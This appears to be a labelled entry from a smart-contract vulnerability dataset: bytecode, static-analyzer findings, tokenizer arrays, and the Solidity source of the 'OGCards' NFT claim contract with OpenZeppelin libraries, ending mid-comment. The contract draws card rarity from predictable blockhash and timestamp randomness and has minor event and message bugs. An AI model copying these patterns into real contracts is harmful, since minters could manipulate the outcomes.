561425c57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561427657614276614291565b5060010190565b60008261428c5761428c6142a7565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146109a057600080fdfe3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a20234330454433313b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d222331303041323022202f3e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220b4c186118397f616c7a7d2981a47aa4a01095462a1c96ab4f8f0d1e118a8161064736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 11057, 2509, 2497, 2094, 25746, 15136, 2487, 2497, 2549, 2050, 27009, 2692, 2620, 22022, 2278, 2575, 2509, 2497, 16703, 2497, 17914, 2546, 2094, 2620, 2278, 2509, 2063, 2620, 16068, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,373
0x96AaF5008913C3Ae12541f6ea7717c9A0DD74F4d
// SPDX-License-Identifier: MIT pragma solidity >=0.8.4; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "./interfaces/IOGCardDescriptor.sol"; import "./interfaces/IENSHelpers.sol"; import "./interfaces/ICryptoPunks.sol"; contract OGCards is ERC721Enumerable, Ownable { using Strings for uint256; using SafeMath for uint256; using SafeMath for uint8; address private immutable _ogCardDescriptor; address private immutable _ensHelpers; address private immutable _cryptoPunks; // 0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb address private immutable _animalColoringBook; // 0x69c40e500b84660cb2ab09cb9614fa2387f95f64 address private immutable _purrnelopes; // 0x9759226b2f8ddeff81583e244ef3bd13aaa7e4a1 bool public publicClaimOpened = false; uint256 public baseCardsLeft = 250; uint256 public punkCardsLeft = 100; uint256 public acbCardsLeft = 30; uint256 public purrCardsLeft = 50; uint256 public gaCardsLeft = 50; uint256 private _nonce = 1234; mapping(address => bool) public hasClaimedBase; mapping(uint256 => bool) public punkClaimed; mapping(uint256 => bool) public acbClaimed; mapping(uint256 => bool) public purrClaimed; struct Card { bool isGiveaway; uint8 borderType; uint8 transparencyLevel; uint8 maskType; uint256 dna; uint256 mintTokenId; address[] holders; } mapping(uint256 => Card) public cardInfo; mapping(uint256 => mapping(address => bool)) private _alreadyHoldToken; mapping(address => string) private _ogName; // Events event OGCardMinted(uint256 tokenId); event OGAdded(address indexed og, string name); event OGRenamed(address indexed og, string name); event OGRemoved(address indexed og); constructor(address _cryptoPunks_, address _animalColoringBook_, address _purrnelopes_, address _ensHelpers_, address _ogCardDescriptor_) ERC721("OGCards", "OGC") { _cryptoPunks = _cryptoPunks_; _animalColoringBook = _animalColoringBook_; _ensHelpers = _ensHelpers_; _ogCardDescriptor = _ogCardDescriptor_; _purrnelopes = _purrnelopes_; // Claim 10 base cards for (uint8 i=0; i<10; i++) { _claim(msg.sender, 0, 0); } // Claim 4 giveaway cards for (uint8 i=0; i<4; i++) { _claim_(msg.sender, i, 0, true); } } function cardDetails(uint256 tokenId) external view returns (Card memory) { require(_exists(tokenId), "OGCards: This token doesn't exist"); return cardInfo[tokenId]; } // save bytecode by removing implementation of unused method function baseURI() public pure returns (string memory) {} function switchClaimOpened() external onlyOwner { publicClaimOpened = !publicClaimOpened; } // Withdraw all funds in the contract function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } modifier remainsSupply(uint256 cardsLeft) { require(cardsLeft > 0, "OGCards: no more cards of this type left"); _; } modifier claimOpened() { require(publicClaimOpened, "OGCards: claim is not opened yet"); _; } // Claim OGCards function claim() external claimOpened remainsSupply(baseCardsLeft) { require(!hasClaimedBase[msg.sender], "OGCards: you already claimed a base card"); hasClaimedBase[msg.sender] = true; baseCardsLeft--; _claim(msg.sender, 0, 0); } function punkClaim(uint256 punkId) external claimOpened remainsSupply(punkCardsLeft) { require(msg.sender == ICryptoPunks(_cryptoPunks).punkIndexToAddress(punkId), "OGCards: you are not the owner of this punk"); require(!punkClaimed[punkId], "OGCards: this punk already claimed his card"); punkClaimed[punkId] = true; punkCardsLeft--; _claim(msg.sender, 1, punkId); } function acbClaim(uint256 acbId) external claimOpened remainsSupply(acbCardsLeft) { require(msg.sender == IERC721(_animalColoringBook).ownerOf(acbId), "OGCards: you are not the owner of this ACB"); require(!acbClaimed[acbId], "OGCards: this ACB already claimed his card"); acbClaimed[acbId] = true; acbCardsLeft--; _claim(msg.sender, 2, acbId); } function purrClaim(uint256 purrId) external claimOpened remainsSupply(purrCardsLeft) { require(msg.sender == IERC721(_purrnelopes).ownerOf(purrId), "OGCards: you are not the owner of this ACB"); require(!purrClaimed[purrId], "OGCards: this Purrnelopes already claimed his card"); purrClaimed[purrId] = true; purrCardsLeft--; _claim(msg.sender, 3, purrId); } function giveawayClaim(address to, uint8 maskType) external remainsSupply(gaCardsLeft) onlyOwner { gaCardsLeft--; _claim_(to, maskType, 0, true); } // List every tokens an owner owns function tokensOfOwner(address _owner) public view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } // OGs function addOG(address _og, string memory _name) public onlyOwner { require(bytes(_name).length > 0, "OGCards: You must define a name for this OG"); require(_og != address(0), "OGCards: Invalid address"); if (isOG(_og)) { _ogName[_og] = _name; emit OGAdded(_og, _name); } else { _ogName[_og] = _name; emit OGRenamed(_og, _name); } } function addOGs(address[] memory _ogs, string[] memory _names) external onlyOwner { require(_ogs.length == _names.length, "OGCards: Invalid array length"); for (uint256 i=0; i<_ogs.length; i++) { addOG(_ogs[i], _names[i]); } } function removeOG(address _og) external onlyOwner { require(isOG(_og), "OGCards: This OG doesn't exist"); delete _ogName[_og]; emit OGRemoved(_og); } function isOG(address _og) public view returns (bool) { return bytes(_ogName[_og]).length > 0; } function ogName(address _og) public view returns (string memory) { return _ogName[_og]; } function holderName(address _holder) public view returns (string memory) { string memory ensDomain = IENSHelpers(_ensHelpers).getEnsDomain(_holder); if (isOG(_holder)) { return ogName(_holder); } else if (bytes(ensDomain).length != 0) { return ensDomain; } return _toAsciiString(_holder); } function ogHolders(uint256 tokenId) public view returns (address[] memory, string[] memory) { require(_exists(tokenId), "OGCards: This token doesn't exist"); Card memory card = cardInfo[tokenId]; uint256 count = 0; address[] memory ogs = new address[](card.holders.length); string[] memory names = new string[](card.holders.length); for (uint256 i = 0; i < card.holders.length; i++) { address holder = card.holders[i]; if (isOG(holder)) { ogs[count] = holder; string memory name = holderName(holder); names[count] = name; count++; } } address[] memory trimmedOGs = new address[](count); string[] memory trimmedNames = new string[](count); for (uint j = 0; j < count; j++) { trimmedOGs[j] = ogs[j]; trimmedNames[j] = names[j]; } return (trimmedOGs, trimmedNames); } function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { require(_exists(tokenId), "OGCards: This token doesn't exist"); return IOGCardDescriptor(_ogCardDescriptor).tokenURI(address(this), tokenId); } // Before any transfer, add the new owner to the holders list of this token function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); // Save the holder only once per token if (!_alreadyHoldToken[tokenId][to]) { cardInfo[tokenId].holders.push(to); _alreadyHoldToken[tokenId][to] = true; } } function _claim(address _to, uint8 maskType, uint256 mintTokenId) internal { _claim_(_to, maskType, mintTokenId, false); } function _claim_(address _to, uint8 maskType, uint256 mintTokenId, bool isGiveaway) internal { uint256 mintIndex = totalSupply(); uint256 dna = _random(mintIndex, 100000); uint256 randomBorder = _random(mintIndex, 101); uint8 borderType = ( (isGiveaway ? 0 : (randomBorder < 50 ? 1 : // 50% (randomBorder < 80 ? 2 : // 30% (randomBorder < 94 ? 3 : // 14% (randomBorder < 99 ? 4 : 5)))))); // 5% && 1% uint256 randomTransparency = _random(mintIndex, 6); uint8 transparencyLevel = uint8(100 - randomTransparency); cardInfo[mintIndex].isGiveaway = isGiveaway; cardInfo[mintIndex].borderType = borderType; cardInfo[mintIndex].transparencyLevel = transparencyLevel; cardInfo[mintIndex].maskType = maskType; cardInfo[mintIndex].dna = dna; cardInfo[mintIndex].mintTokenId = mintTokenId; _safeMint(_to, mintIndex); emit OGCardMinted(mintIndex); } function _toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = _char(hi); s[2*i+1] = _char(lo); } string memory stringAddress = string(abi.encodePacked('0x',s)); return _getSlice(0, 8, stringAddress); } function _char(bytes1 b) internal pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } function _getSlice(uint256 begin, uint256 end, string memory text) internal pure returns (string memory) { bytes memory a = new bytes(end-begin); for(uint i=0;i<=end-begin-1;i++){ a[i] = bytes(text)[i+begin]; } return string(a); } function _random(uint256 _salt, uint256 _limit) internal returns (uint) { uint256 r = (uint256(keccak256(abi.encodePacked(blockhash(block.number-1), block.timestamp, msg.sender, _nonce, _salt)))) % _limit; _nonce++; return r; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4; import "../OGCards.sol"; import "./IOGCards.sol"; interface IOGCardDescriptor { function tokenURI(address ogCards, uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4; interface IENSHelpers { function getEnsDomain(address _address) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4; interface ICryptoPunks { function punkIndexToAddress(uint256 tokenId) external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. 